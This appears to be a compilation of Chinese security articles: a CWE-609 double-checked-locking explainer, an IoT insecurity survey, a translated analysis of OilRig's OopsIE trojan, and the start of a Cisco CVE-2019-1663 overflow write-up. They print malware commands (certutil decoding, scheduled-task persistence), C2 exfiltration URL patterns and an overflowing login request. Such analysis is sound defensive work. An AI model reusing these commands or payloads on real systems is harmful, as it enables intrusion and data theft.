在程序开发中，有时需要推迟一些高开销的对象初始化操作，并且只有在使用这些对象时才进行初始化，此时可以采用双重检查锁定来延迟对象初始化操作。双重检查锁定是设计用来减少并发系统中竞争和同步开销的一种软件设计模式，在普通单例模式的基础上，先判断对象是否已经被初始化，再决定要不要加锁。尽管双重检查锁定解决了普通单例模式的在多线程环境中易出错和线程不安全的问题，但仍然存在一些隐患。本篇文章以JAVA语言源代码为例，分析双重检查锁定缺陷产生的原因以及修复方法。详见CWE
ID 609: Double-Checked Locking
(http://cwe.mitre.org/data/definitions/609.html)。
## 2、 双重检查锁定的危害
双重检查锁定在单线程环境中并无影响，在多线程环境下，由于线程随时会相互切换执行，在指令重排的情况下，对象未实例化完全，导致程序调用出错。
## 3、示例代码
示例源于Samate Juliet Test Suite for Java v1.3
(https://samate.nist.gov/SARD/testsuite.php)，源文件名：CWE609_Double_Checked_Locking__Servlet_01.java。
### 3.1缺陷代码
上述代码行23行-38行，程序先判断 stringBad 是否为 null，如果不是则直接返回该 String 对象，这样避免了进入
synchronized 块所需要花费的资源。当 stringBad 为 null 时，使用 synchronized 关键字在多线程环境中避免多次创建
String 对象。在代码实际运行时，以上代码仍然可能发生错误。
对于第33行，创建 stringBad 对象和赋值操作是分两步执行的。但 JVM 不保证这两个操作的先后顺序。当指令重排序后，JVM
会先赋值指向了内存地址，然后再初始化 stringBad 对象。如果此时存在两个线程，两个线程同时进入了第27行。线程1首先进入了 synchronized
块，由于 stringBad 为 null，所以它执行了第33行。当 JVM 对指令进行了重排序，JVM 先分配了实例的空白内存，并赋值给
stringBad，但这时 stringBad 对象还未实例化，然后线程1离开了 synchronized 块。当线程2进入 synchronized
块时，由于 stringBad 此时不是 null ,直接返回了未被实例化的对象（仅有内存地址值，对象实际未初始化）。后续线程2调用程序对
stringBad 对象进行操作时，此时的对象未被初始化，于是错误发生。
使用360代码卫士对上述示例代码进行检测，可以检出“双重检查锁定”缺陷，显示等级为中。在代码行第27行报出缺陷，如图1所示：
图1：“双重检查锁定”的检测示例
### 3.2 修复代码
在上述修复代码中，在第23行使用 volatile 关键字来对单例变量 stringBad 进行修饰。 volatile
作为指令关键字确保指令不会因编译器的优化而省略，且要求每次直接读值。
由于编译器优化，代码在实际执行的时候可能与我们编写的顺序不同。编译器只保证程序执行结果与源代码相同，却不保证实际指令的顺序与源代码相同，在单线程环境中并不会出错，然而一旦引入多线程环境，这种乱序就可能导致严重问题。
volatile 关键字就可以从语义上解决这个问题，值得关注的是 volatile 的禁止指令重排序优化功能在 Java 1.5 后才得以实现，因此1.5
前的版本仍然是不安全的，即使使用了 volatile 关键字。
使用360代码卫士对修复后的代码进行检测，可以看到已不存在“双重检查锁定”缺陷。如图2：
图2：修复后检测结果
## 4 、如何避免双重检查锁定
要避免双重检查锁定，需要注意以下几点：
> （1）使用 volatile 关键字避免指令重排序，但这个解决方案需要 JDK5 或更高版本，因为从JDK5 开始使用新的 JSR-133
> 内存模型规范，这个规范增强了 volatile 的语义。
>
> （2）基于类初始化的解决方案。
>
> JVM在类的初始化阶段（即在Class被加载后，且被线程使用之前），会执行类的初始化。在执行类的初始化期间，JVM会去获取一个锁。这个锁可以同步多个线程对同一个类的初始化。 | 社区文章 |
作者：[360CERT](https://cert.360.cn/report/detail?id=5da919662c3c60f5004e513756fc4562
"360CERT")
#### 0x00 序言
IoT 设备日益增多的今天，以及智能家居这一话题愈发火热，智能家居市场正在飞速的壮大和发展，无数 IoT
设备正在从影片中不断的走向用户的身边。但是这其中却拥有着大量的安全问题和隐患。
此次以结合实际案例的方式来谈一谈目前国内 IoT 市场中普遍存在的安全问题。
#### 0x01 历史回顾
在过去的一段时间内也曾暴露出了很多很多的 IoT 设备的安全问题。
可以看到自15年开始就频繁受到广大的黑/白帽子的关注了：
###### Mirai
而在去年2016年9月-10月期间`Mirai`在全球范围内爆发。
###### Mirai 的感染模式
* 感染初始设备
* 初始设备在网段内进行扫描，并做尝试，将有漏洞的设备 IP，PORT 等信息上传至 Loader 服务器
* Loader 服务器对新的设备进行控制并下发控制程序
* 循环往复
* 受控设备足够多后，控制设备对 Victim 发起 DDoS
直到2016年10月26日，我们通过 Mirai 特征搜索 shodan 发现，当前全球感染 Mirai
的设备已经超过100万台，其中美国感染设备有418,592台，中国大陆有145,778台，澳大利亚94,912台，日本和中国香港分别为47,198和44,386台。
###### IoT reaper
而最近则是 IoT reaper，从2017-09-13开始，360NetLab捕获到了一个新型的针对 IoT 设备的恶意样本
样本中集成了9个 IoT 漏洞 IoT_reaper 完全放弃了 mirai 中利用弱口令猜测的方式，转为利用 IoT
设备的漏洞植入，当前样本中集成了了9个 IoT 设备漏洞。最近十天以来，攻击者正在积极的将漏洞利用集成进入样本中，其中一个漏洞在公开后仅2天就被集成。
###### IoT_reaper 感染流程图
IoTroop 是 IoT_reaper Botnet 在网络攻击活动中第一阶段使用的主要 payloads，该恶意软件借用了 mirai
的源代码，但是在几个关键行为上显著区别于 mirai，包括：
1. C&C 服务器已经完全被重新设计，并使用了新的后台。 另外，IoTroop 的 C&C 服务器是用PHP编写的，而原来的 Mirai C&C 服务器是用 GO 编写的。
2. 随着 C&C 后台的变化，C&C 通信协议也发生了变化，IoTroop 恶意软件使用了全新的 C&C 通信方式。
3. IoTroop 恶意软件不再使用弱口令猜测、而是使用 IoT 设备漏洞，扫描效率大大提高。
4. IoTroop 恶意软件不包含任何 DDoS 功能，实际上我们也没有观察到与该恶意软件有关的任何 DDoS 攻击，但所有与 DDoS 相关的功能都由 C&C 后台进行协调和管理，并作为单独的模块下载。
###### IoT_reaper 包含的一些漏洞
可以看到的是，IoT 设备的安全问题正在日益突出，并日益严重。
虽然厂商心中已经有了一定的警戒，并采取了一定的措施但是还远远不够。
#### 0x02 现状
攻击中最复杂的部分是取得与相关设备的连接问题，只要能够连接上能够与之通信,可以说被控制被劫持都只是一些相对较小的问题了。
在连接上的安全措施往往是难以做到尽善尽美的，那么我们就着重来看看目前国内市场上IoT设备在连接上存在的诸多问题。
在 iot 设备领域存在一个是否致命的问题，就是产品更迭周期，在此领域因为涵盖着硬件设备，在升级上往往难以针对某些领域的问题进行修复。
目前在国内的形式大多数是采用的多方合作，而杂合而成的一个十分混乱的 iot 生态。
1. A厂商从B厂商处采购主控芯片和开发套件，然后自己由这个主控芯片和开发套件对一些传感器进行集成连接，进行一些简单的包装。
2. A厂商和C厂商进行深度合作在A厂商的APP中集成C厂商的控制程序，从而实现A厂商具有更为广大的智能家居生态。
3. A厂商完成了硬件上的设计生产，而APP方面则采取外包方式获取。
4. 为了照顾设备的网络情况以及性能情况作出的妥协。
在国内上述三种情况是十分普遍的，这种树状甚至是叉装的生态环境势必会产生无数的安全问题。
反过来回顾世界前列的互联网公司里 Apple，是唯一的一家最接近垂直生态公司，即使是这样，每年也有大量的漏洞被发现，就更何况国内的这些公司了。
#### 0x03 分析
与上面的点一一对应
**1.由于采用采购和使用开发套件的方式,势必会有大部分的逻辑是和供应商所提供的运行模式和设计理念是一致的,从这里入手就很容易看到对应的A厂商的设备的大致工作模式**
实例：
根据上面的文档可以看出这里设计出了一种工作模式，在智能硬件中会有一份主体固件 user1.bin，然后在后期可以通过 user2.bin
的方式对设备进行一定程度的更新。
为什么要说一定程度呢？首先，这里采用这种模式就肯定是为了减少更新完整固件包所带来的更新时间和下载内容大小，也从而被获得后直接逆向出完整设备工作流程的危害。
* iot设备大多采用低成本的处理控制单元和极小的板载存储flash芯片,已经极小的内存容量,如果采取互联网全量更新,首先是机器本身无法存储,处理器,和内存也无法胜任此工作
* iot设备为了长期稳定的工作,肯定无法去更新核心部分的工作,只会以修复一些细小的功能性问题而更新
那这里从实际的案例出发对这个现象的论证就是
在2015年的A厂商在通信过程中使用的AES加密,但在APK中由于开发没有良好的安全意识,导致被轻易的提取出了AES的密钥,而在我们进行分析的今天,该厂商的密钥也没有更换,亦可以在网上搜索得到这串长期没有更换的密钥进行通信消息的解密
而在今天厂商也仅仅只是将其放在了一个动态链接库中稍加混淆
就这样一个问题,在一个厂商长发2年都没有一个良好的解决方案足以说明问题的严重性
**2.在厂商与厂商的合作之间势必会相互开放sdk或者api接口以及通信密钥,一系列相关资源,这就导致了,但凡有一家合作厂商的安全做的不够出色这就会导致短板效应的出现而导致拉低了众多厂商的安全等级**
A厂商和C厂商的合作使得A厂商几乎只承担的了集成SDK的成本就获得了一项智能家居产品，而C厂商也仅仅是提供了SDK就拓宽了自己的销售渠道，这样的合作模式肯定受到双方欢迎的，但是这之间的安全问题是值得关注的。
* 通信的密钥
* 身份TOKEN
* 完整的设备信息
* 完整的控制请求
根据上述的问题,再结合一定的分析往往就能很容易的得出一份令人满意的漏洞
实例:
可以很清晰的看到,拥有SDK的`TOKEN`,完整的控制函数
可以看到通信的地址,以及通讯认证的详细过程
可以看到另一家合作厂商的密钥位置
**3\. APP的编写,这明显不是传统的硬件厂商所擅长的,而外包基本成了主要解决办法**
然而厂商也自身没有太高的安全意识在验收成果的时候,主要着力于功能的完善情况,以及界面交互是否有效上面这就会导致许多隐患
* 通信模型设计不当
* 验证认证流程存在绕过,或极不完善
* 查询接口权限认证粗糙
* 涉及服务器敏感信息泄露
这诸多问题都是一个个良好的突破口和值得关注的点
实例:
从这里可以看到从 apk 中加载了通信使用的证书，故可以从 apk 中提取出来，也涉及了服务器的通信地址和端口
可以看到另一处`TCP`直接通信的地址和端口
这里可以看到，单凭一个手机号就获取了大量设备关键信息,包括密码等
这里可以看到，以任意设备`mac`来获取对应的用户手机号的操作
再根据已掌握的信息，进行设备控制指令的生成也是十分简单
**4\. 在结合国内的平均网络质量在全球排名处于中下游水平的情况下,并且要照顾多地区的复杂网络环境**
在与智能硬件的通信过程中势必会有很多的妥协,因为产品的第一点是务必满足有良好的用户体验
进而就会产生
* 与服务器通信认证手段单一
* 身份识别过程简单
* 消息内容格式化程度高
* 分两套通信手段,一套局域网,一套互联网
* 服务器通信内容不认证用户身份
实例:
A厂商在为了解决远程控制这一问题上
互联网层面远程控制由XMPP协议进行通信
但国内的厂商在使用上仅仅着手于XMPP协议的及时性和开放性,对于一些必要的安全措施并没有进行良好的设计
A厂商的XMPP的设计模式下,受控端设备,以及控制端设备全凭MAC地址或是UUID作为登录凭据,并且在密码设计上采用与用户名一样的方式.这就导致可以使用遍历MAC地址的方式将该厂商所有设备踢下线,使其无法正常通信或是响应命令.或是在APP端注册一个账号,然后获得`UUID`便可以向任意在网设备发送控制指令,这对于智能产品来说危害是巨大的,也会导致用户无法获得正常的体验
A厂商该特意设计了一个控制服务器,来接受和记录设备的绑定以及设备状态查询的服务,该服务器没有任何权限设置,亦无token之类的校验,可以抓包后任意重放,来获得任意设备mac所绑定的用户手机号,同时,还有一个逻辑错误,以及一个重大的安全错误
* 在服务器上存储用户设备控制密码
* 对设备控制权限变更无校验,任何人可以在任何情况下对设备进行重新绑定,解绑,添加信任用户等危险操作
* 并在特殊的构造下,可以直接获取到任意设备的控制密码
在通信过程中消息内容采用固定格式`wan_phone%015bee58-xxxx-xxxx-xxxx-31598127xxxx%password%open%relay`
可以看到中间的uuid作为标识password是控制密码open是控制指令
那么其实很好类推关闭之类的指令
在APP的登录过程中,用户名为手机号
局域网内采用UDP无连接通信,通过向设备发送连续的UDP包来获得设备信息,同时为了更快的感同一局域网内的设备状态,采用广播心跳包的形式对所有在网内设备进行查询,同时所有设备收到此包后会回复自己的状态,以及控制密码的值,来确保用户能完成良好的控制
其次在标识上仅使用mac地址作为标识,这就导致,如果在相同包体里改变mac地址即可完成对设备的控制。
可以通过分析流量翻译出大量的操作指令
可看到流量中连续的广播包在发送
广播后,设备响应,解密后就能直接得到设备的控制密码
用脚本直接解密XMPP流量
[破解案例] : <http://bobao.360.cn/learning/detail/163.html>
而局域网和互联网通信内容又大相径庭,即使设计了一个良好的互联网通信模型，也会被找到破绽。
#### 0x04 总结
根据此次分析，IoT生态混乱，通过实例分析验证了很多安全问题，以及潜在隐患，对现有用户会产生用户敏感信息泄露和IoT设备为攻击者大开方便之门的安全问题。最终甚至危害到广大用户的人生以及财务安全。
已有的改进
* 尽量避免了将设备直接暴露在公网中
* 已有一些通信上的加密措施,不再是任何人都可以向设备发送消息
* 避免IoT设备的固件开发下载
尚存或演进的问题
* 以CS模式通信,但是通信结构和验证过程过于简单或没有,导致一旦攻破便可危害所有在网设备
* APP的安全开发意识十分薄弱
* 厂商合作之间的信任链单一,信任关系简单
* 多模式设计下,短板效应明显,在某一模式安全性的缺失则导致整套安全系统崩溃
* 对用户信息,设备的存储和查询,存在致命的缺陷,对用户信息无任何保护手段,很容易获得设备用户的对应关系
这些存在漏洞的点都很普遍并容易被探测和发现,而造成的危害和损失却是巨大的
而抛开技术上的问题，在实际的物理世界中，核心的问题在于厂商不够重视安全，没有一个很好的统一解决方案，对应漏洞反应平平，甚至予以忽视，导致IoT安全漏洞和事件频发，各种黑天鹅事件告急。
过去的事件都以在公网上的设备受到攻击而需求感染设备去扫描发现新的设备，而现在只要一攻破上述任一一条，则可以在存在RCE等高危漏洞情况下迅速感染所有在网设备，攻击的成本大为降低。对于IoT安全社会各界应该予以更为重复的重视。
#### 0x05 参考
1. <http://bobao.360.cn/learning/detail/3143.html>
2. <https://paper.seebug.org/142/>
3. <http://www.freebuf.com/articles/terminal/117927.html>
4. <http://blog.netlab.360.com/iot-reaper-a-quick-summary-of-a-rapid-spreading-new-iot-botnet/>
5. <http://bobao.360.cn/learning/detail/4635.html>
* * * | 社区文章 |
# 新型木马OopsIE分析：伊朗黑客组织OilRig利用ThreeDollars传播
|
##### 译文声明
本文是翻译文章，文章原作者 Bryan Lee and Robert Falcone
，文章来源：researchcenter.paloaltonetworks.com
原文地址：<https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
近期，伊朗黑客组织OilRig非常活跃，不断发起攻击活动，同时也在继续扩展其开发的工具集。2018年1月8日，Unit
42安全团队发现OilRig组织对中东的一家保险机构发起了攻击。而就在一个多星期之后，2018年1月16日，Unit
42再次发现了该组织对中东金融机构的攻击行为。在这两次攻击之中，OilRig使用了一款新型特洛伊木马病毒，该木马被命名为OopsIE。
在1月8日发起的攻击中，他们使用了ThreeDollar载体文档的一个变种。根据2017年8月我们监测到的攻击，我们确定该变种属于OilRig工具集的一部分。
然而，1月16日发起的攻击中，则完全没有使用到ThreeDollar相关的载体。相反，此次攻击很可能借助鱼叉式网络钓鱼的方式，通过电子邮件中的链接直接诱导用户下载OopsIE特洛伊木马，从而被感染。有趣的是，1月16日袭击事件中的目标正是2017年1月OilRig黑客组织攻击过的目标，这次重复的攻击可能说明黑客已经失去了对该目标的控制，或者说明该目标被黑客认定为高价值目标。
## 一种全新的攻击方式
2018年1月8日，OilRig黑客组织向中东的一家保险机构发送了一封电子邮件，标题为”贝鲁特保险研讨会邀请函”。OilRig在6分钟的时间之内向同一机构的两个不同电子邮件地址发送了邮件，说明他们正在向特定目标的特定区域分支机构发动攻击。
这两封电子邮件都来自于同一地址，该地址属于黎巴嫩，与全球的许多主要金融机构存在关联。但根据捕获到的会话数据，我们认为该电子邮件的源地址很可能被伪造。该电子邮件中，包含一个名为Seminar-Invitation.doc（研讨会邀请函.doc）的附件，该附件是一个恶意的Microsoft
Word文档，我们认为该文档属于ThreeDollars。经过检查，该文档包含一个新的有效载荷，我们将其命名为OopsIE。
在2018年1月16日的攻击中，我们发现OilRig攻击了他们曾于2017年1月攻击过的组织。此次与之前攻击的不同之处在于，这次并没有使用ThreeDollars作为载体，而是尝试直接通过电子邮件中的链接诱导用户访问并下载OopsIE特洛伊木马。该木马会直接从OopsIE的C&C服务器下载，同时该服务器也用于攻击中的其他不同阶段。我们认为，在2017年1月的攻击发生后，目标机构已经采取了一定的安全防护措施，来应对已知的OilRig
TTP（战术、技术、过程）攻击。在这种情况下，OilRig采用了不同的策略来发放承载恶意宏文件的文档。
另外，我们还确认了2017年1月15日创建的另一个ThreeDollars样本，其文件名为strategy
preparation.dot（策略准备.dot）。尽管该样本与Seminar-Invitation.doc样本非常相似，但也存在着一些显著的差异。主要区别在于，该文档已加密并受密码保护，要求目标用户输入可能由攻击者提供的密码，之后才能查看文档。这并不是一个新的方式，但我们是第一次发现OilRig使用这样的方式。通常情况下，受密码保护的文档会被攻击者作为一种规避策略，用来绕过反病毒软件的自动分析机制，原因在于只有在输入正确密码后文档中的内容才可以成功执行。随着时间的推移，OilRig已经在逐步尝试使用一些成熟的反检测策略。
## ThreeDollars文档分析
在这些攻击中我们所收集到的ThreeDollars样本，在结构上非常类似于我们在2017年10月分析的第一个样本，会显示一个伪装的提示图片，诱骗收件人点击”启用内容”按钮，以执行其中的恶意宏。我们进行了文件的哈希值验证，在2018年1月攻击中所使用的图片与此前的图片完全相同。
下图图左展现了我们从最新的攻击样本中提取的伪装图片，图右为2017年10月第一个样本中的伪装图片。尽管攻击的方式不断在发生变化，但诱导用户启用宏的图片却是非常相似的。
从表面上来看，我们可以发现图片非常相似，但却还有一些明显的差异。举例来说，2017年8月攻击中所使用的图片明显更大，其分辨率为3508×4961像素，也就是300dpi的A3纸张分辨率。此外，其中还包含一些其他的元素，比如微软Logo以及一些文本内容，特别是”against
unauthorized use（防止未经授权的使用）”。相比之下，最新的伪装提示图片的像素较低，并且存在水平失真的情况。此外”This document
is protected（本文档受到保护）”之后的文字未与上面对齐。
通过叠加这两幅图片，再考虑到新图片的失真问题，我们认为新图片极有可能是2017年8月的图片经过剪裁和编辑后形成的。
此外，两个图片中所使用的颜色RGB也完全一样，均为#da3b01。新图片的尺寸大约是旧图片的40%，这表明在剪裁和编辑后，编辑者可能也调整了图像的大小。其中更值得注意的一点是，在”against（防止）”一词中，”st”两个字符使用了连字符（Unicode
uFB06），这是一个非常罕见的字符，无法通过标准布局的键盘中直接输入。该字符的存在可能说明该文字是由机器生成的，并不是直接从键盘输入，也可能说明该图片的编辑者并非以英语为母语。
## 恶意宏分析
当目标用户打开ThreeDollars文档时，他们会看到伪装的提示图片，图片提示用户点击”启用内容”按钮。如果用户点击该按钮，文档中包含的恶意宏将会运行，并在系统中执行一个有效载荷。同时，该提示图片也大大降低了目标用户对文档的怀疑程度。在最终，文档并没有向目标用户展现一个”保险研讨会邀请函”的内容，而是会弹出一个”NullRefrencedException!
error has occurred in user32.dll by 0x32ef2121”的伪造错误提示，如下图所示。
在显示上图内容的同时，宏会在文档中搜索定界符”###$$$”，并将该定界符后面的Base64编码文本内容写入到%APPDATA%Base.txt文件中。随后，宏会创建一个名为SecurityAssist的计划任务，该任务在1分钟后自动运行。SecurityAssist任务负责运行以下命令行命令，该命令使用Certutil应用程序来解码Base.txt文件中的Base64编码数据，并将解码后的数据保存到%PROGRAMDATA%IntelSecurityAssistManager.exe文件之中：
cmd.exe /c Certutil -decode %appdata%Base.txt
%programdata%IntelSecurityAssistManager.exe & SchTasks /Delete /F /TN
SecurityAssist
此外，该宏还创建了第二个计划任务，名为Conhost，该任务在2分钟后自动运行位于%APPDATA%chkSrv.vbs的VBS，同时，会将chkSrv.vbs保存到系统中，该VBS负责运行有效载荷IntelSecurityAssistManager.exe（OopsIE木马），并且会删除上述两个任务计划、Base.txt文件、ThreeDollars文档以及chkSrv.vbs脚本。
## OopsIE木马分析
在这些攻击中发现的OopsIE特洛伊木马被包装在SmartAssembly中，并且通过ConfuserEx
v1.0.0进行了混淆。如果想要在系统上持续运行，该木马首先需要创建一个VBScript文件SpecialFolder.CommonApplicationDatasrvResesponded.vbs，其中包含：
CreateObject(“WScript.Shell”).Run(“%app%”)
该木马使用上述VBScript中的%app%字符串替换其可执行文件的路径。最后，使用srvResesponded.vbs的路径替换%path%字符串，并创建一个计划任务，每三分钟在命令提示符中运行如下命令：
SchTasks /Create /SC MINUTE /MO 3 /TN “InetlSecurityAssistManager” /TR
“wscript %path%” /f
该木马使用HTTP协议与C&C服务器进行通信，特别是在被称为Interop.SHDocVw的嵌入式Microsoft .NET
Framework程序集内使用了Internet
Explorer的应用程序对象。该木马通过连接两个名为S1和S2的资源内容，来提取并加载该嵌入式程序集，并使用GZipSteam类对得到的数据进行解压缩。生成的Interop.SHDocVw.NET程序集与SmartAssembly共同打包，并使用Confuser
v1.9.0.0进一步混淆。构建嵌入式程序集的资源连接并不是OilRig组织所研发的新技术，他们在2017年10月的ISMInjector工具中就使用过这一技术来构建嵌入式库Joiner.dll和Inner.dll。
由于使用了Internet
Explorer应用程序对象，因此所有与C&C相关的请求看起来都像是来自于合法的浏览器，这样就不会在请求中包含任何异常字段，比如自定义用户代理（Custom
User-Agents）。OopsIE木马会使用以下的C&C服务器：
www.msoffice365cdn[.]com
该特洛伊木马会构建特定的URL，用来与C&C服务器进行通信，并解析C&C服务器的相应内容，查找标签<pre>与</pre>之间的内容。初始的HTTP请求会作为信标，如下图所示。
从上面的请求中可以看出，该木马程序会生成一个如下所示的URL作为信标：
http://<c2 domain>/chk?<hex(Environment.UserName/Environment.MachineName)>
该木马会发出一个到该URL的请求以进行检查（因此URL中含有chk字符串），该检查是用于查询C&C服务器上是否存在需要让木马执行的命令。如果存在，C&C服务器会通过回显<hex(Environment.UserName/Environment.MachineName)>值的方式来响应木马的请求。如果不存在，特洛伊木马就会在SpecialFolder.CommonApplicationData文件夹中创建一个名为srvCheckresponded.tmp的文件，并在退出之前不写入任何内容。
如果C&C服务器在响应中给出了特定的回显数据，则木马接下来会尝试向以下URL发出请求来确定C&C服务器希望运行的命令：
http://<c2 domain>/what?<hex(Environment.UserName/Environment.MachineName)>
在发出命令之后，木马将会解析C&C的响应中是否存在Oops，如果存在，木马会认为C&C服务器已经出现了错误并会退出。否则，服务器将以一个命令来响应，后面紧接着一组参数，以分隔符<>来分隔：
[command]<>[parameters for command in hexadecimal format]
可用的命令如下：
1 — 运行命令；
2 — 上传文件；
3 — 下载指定的文件。
每个命令的参数都以十六进制的格式表示，例如字符A将以41表示。在木马中，大部分都会使用十六进制。
运行命令（1）会使用附加的命令参数创建进程cmd.exe
/c，并且将该命令的执行结果以十六进制格式写入到%APPDATA%tmpCa.vbs文件中。然后，木马会以1500字节块的形式读取该文件的十六进制格式内容，并通过HTTP
GET请求将该文件逐块（以1500字节为单位）发送到C&C服务器，结果如下：
http://<c2
domain>/resp?<hex(Environment.UserName/Environment.MachineName)>AAZ<hex(command
prompt output)>
上传命令（2）会将C&C提供的数据写入制定的文件中。此命令所包含的参数包括二进制数据的十六进制值和文件名，二者以(!)的分隔符进行分隔。该木马会通过发送一个如下结构的URL来向C&C服务器发送响应，以通知其成功上传：
http://<c2
domain>/resp?<hex(Environment.UserName/Environment.MachineName)>AAZ<hex(“File
Uploaded”)>
下载命令（3）会读取指定文件的内容，并将数据发送到C&C服务器。如果该文件不存在，木马回向C&C服务器发送<File Not
Found>消息，其URL如下：
http://<c2
domain>/resp?<hex(Environment.UserName/Environment.MachineName)>AAZ<hex(“<
File Not Found >”)>
如果文件存在，木马会读取文件的内容，并使用GZipStream类来压缩文件内容。随后，木马将获取压缩数据的十六进制值，并用ASCII字符替换以下十六进制值，以此来进一步压缩数据：
随后，木马会以1500字节为单位，以十六进制的格式将数据写入到SpecialFolder.CommonApplicationData文件夹中的临时文件中，文件命名规则为：<day><hour><second><millisecond>.tmp。
随后，木马将从这个临时文件中逐个读取，并通过构建URL的方式向C&C服务器发送请求，其结构如下：
http://<c2
domain>/resp?<hex(Environment.UserName/Environment.MachineName)>ABZ<hex(1500
characters of hexadecimal formatted file contents)>
一旦临时文件中所有数据都发送完毕后，木马会向C&C服务器发送一个请求，通知其数据已经成功通过URL传输，结构如下：
http://<c2
domain>/resp?<hex(Environment.UserName/Environment.MachineName)>ABZFinish
## 如何确认该木马是由OilRig组织发布的
自2016年5月以来，我们就一直在监控并不断发现OilRig黑客组织相关的各种攻击行为和所使用的工具。我们发现，该组织的新工具会重复使用此前已经有的基础工具和组件。这是一种非常常见的行为，攻击者往往会重复使用某些策略或技术，这样就可以提高效率，同时减少工作量。
在上述攻击过程中，我们观察到该组织使用了此前未曾使用过的C&C域名来下发新的有效载荷。但随着我们的继续调查，就发现了该木马与OilRig组织存在的联系。最明显的一个证据就是使用了ThreeDollars承载恶意文件。此前，我们还发现了该组织会使用不同的有效载荷。除此之外，我们还发现C&C域名msoffice365cdn[.]com与OilRig组织有关。
首先，通过WHOIS记录，我们看到注册该域名的电子邮件地址[[email protected]](mailto:[email protected])
。经过继续搜索，我们发现该电子邮件地址还注册过office365-management[.]com这个域名，该域名在2017年10月已被确定作为OilRig的C&C服务器使用。另外，WHOIS记录中还出现了一个不寻常的电话号码，该电话号码还被用于注册另一个office365-technical[.]info，该域名注册者邮箱为[[email protected]](mailto:[email protected])。根据域名、邮箱和电话号码的关联关系，我们有充分的理由相信该C&C域名和注册者都属于OilRig组织。
此外，msoffice365cdn[.]com的IP解析为80[.]82.79.221，位于与office365-technical[.]info相同的C类网络范围内。另外，我们还发现80[.]82.79.221与少量其他IP地址共同使用同一个SSL证书，其中的一个IP是185[.]162.235.29。该IP对应的域名是由[[email protected]](mailto:[email protected])注册的office365-management[.]com。另外，通过对185[.]162.235.0/24的调查表明，该网段中的另一个IP对应着2017年已确认OilRig所有的域名msoffice-cdn[.]com。
最后，我们检查了文档本身。尽管已经确认该文档是ThreeDollars工具的变体，并分析了其中的伪装提示图片，但还存在其他的证据证明该文档与OilRig组织相关。该文档的作者名称为J-Win-7-32-Vm，与在 2017年8月收集的一个ThreeDollars早期样本的作者完全相同。
## 总结
OilRig黑客组织仍然持续活跃，并且主要针对中东地区发起攻击。该组织所使用的工具和策略不断在更新中，同时也会重复使用此前的一些攻击方式或组件。目前，我们已经捕获到该组织所使用的大量工具，可以说每个工具都是基于过去所使用工具的变体。然而，随着时间的推移，这些工具所产生的效果会越来越差，我们也已经将这一系列工具结合在一起进行分析，以推断出OilRig组织所掌握的技术和能力。
## IoC
ThreeDollars SHA256：
ec3f55cac3e8257d6d48e5d543db758fed7d267f14f63a6a5d98ba7a0fab6870
81eb43ad46ed39bd4b869c709e5e468a6fc714485da288aaa77c80291ce6db8c
OopsIE SHA256：
9a040cdd7c9fcde337b2c3daa2a7208e225735747dd1366e6c0fcbc56815a07f
231115a614c99e8ddade4cf4c88472bd3801c5c289595fc068e51b77c2c8563f
OopsIE C&C域名：
www.msoffice365cdn[.]com
相关恶意域名及IP：
office365-management[.]com
office365-technical[.]info
msoffice-cdn[.]com
80[.]82.79.221
80[.]82.79.240
185[.]162.235.29 | 社区文章 |
**作者：0431实验室
公众号：[吉林省信睿网络](https://mp.weixin.qq.com/s/30LP51LKrZRPSVWKzinHWQ "吉林省信睿网络")**
#### 0x01.漏洞概述
1.简介
CVE-2019-1663是一个影响Cisco的多个低端设备的堆栈缓冲区，由于管理界面没有对登录表单的pwd字段进行严格的过滤，底层在处理请求时，strcpy函数导致堆栈溢出，未经身份验证的远程攻击者可以在设备上执行任意代码
2.影响的版本：
Cisco RV110W ＜1.2.1.7
Cisco RV130/RV130W ＜1.0.3.45
Cisco RV215W ＜1.3.0.8
#### 0x02.固件提取
这里我使用时Cisco RV130W 1.0.3.44进行测试的，binwalk对固件进行提取
可以看出文件系统是squashfs,并且是小端存储方式,得到一个类Linux目录
#### 0x03.分析处理请求
使用 grep -r "http"来查找处理http请求的二进制文件
根据之前分析的多个嵌入式设备的经验，猜测这个可能就是处理http请求的底层文件
#### 0x04.漏洞分析
对Web登录界面的login.cgi发送如下的POST请求
POST /login.cgi HTTP/1.1
Host: 10.10.10.2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://10.10.10.2/
Content-Type: application/x-www-form-urlencoded
Content-Length: 137
Connection: close
Upgrade-Insecure-Requests: 1
submit_button=login&submit_type=&gui_action=&wait_time=0&change_action=&enc=1&user=cisco&pwd=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&sel_lang=EN
这里向pwd发送32字节的值，对登录界面的http处理请求在IDA中的是sub_2C614()，地址是0x0002C614
函数将POST请求的参数进行解析，存储到.bss段
然后，将pwd参数的值从.bss段中提取，调用strcpy将值存到动态分配的内存中
对于strcpy我们都很熟悉，它存在的安全问题也十分严峻，并且由于没有开启PIE / ASLR，所以可以随意的进行溢出操作
这里使用gdb进行远程调试，确定能够发生溢出的字节数，首先设置cisco,作为gdb调试的服务端，gdbserver配置
# wget http://10.10.10.1:8000/gdbserver //从本机下载到qemu模拟的cisco环境中
#chmod 777 ./gdbserver //给权限
# ps -w | grep httpd //查找httpd开启的进程号
2451 0 5472 S ./usr/sbin/httpd
2454 0 1196 S grep httpd
# ./gdbserver :1234 --attach 2451 //这里的1234是开启监听的端口号，--attach添加的是httpd的进程号
Attached; pid = 2451
Listening on port 1234
//然后成功监听
编译arm-gdb-linux
tar xvf gdb-7.8.1.tar.gz
cd gdb-7.8.1
mkdir arm-gdb
sudo chmod 777 arm-gdb
sudo apt-get install texinfo
./configure --target=arm-linux --prefix=/home/clb/1tools/gdb-7.8.1/arm-gdb
make && make install
然后在arm-gdb下的bin目录中就有用于调试的arm-linux-gdb，配置调试选项
./arm-linux-gdb
gef> set architecture arm //确定要调试的是arm架构
gef> set follow-fork-mode child //确定调试的进程
gef> set solib-search-path /home/clb/1iot/firmware/cisco/_RV130.bin.extracted/squashfs-root/lib/ //加载要用到的lib文件
gef> file /home/clb/1iot/firmware/cisco/_RV130.bin.extracted/squashfs-root/usr/sbin/httpd //加载调试文件
gef> target remote 10.10.10.2:1234 //与远程建立连接
已经建立调试连接，可以进行调试了
